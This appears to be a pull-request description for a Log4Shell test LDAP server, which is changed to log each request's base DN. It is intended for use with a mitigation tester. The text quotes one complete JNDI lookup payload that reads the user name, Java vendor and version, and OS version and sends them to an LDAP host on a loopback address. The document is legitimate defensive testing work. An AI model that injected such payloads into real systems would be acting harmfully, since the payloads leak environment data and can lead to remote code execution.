Log request and base DN to validate Log4Shell information leakage attack vector

[lhotari]

Motivation

For testing Log4Shell information leakage attack vector with inputs such as ${jndi:ldap://127.0.1.1:1389/user=${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}} Suitable for usage with log4shell-mitigation-tester. Strictly meant for white hat purposes and for understanding Log4Shell.

Modifications

• Log request and base for each request
• match controller with simple contains check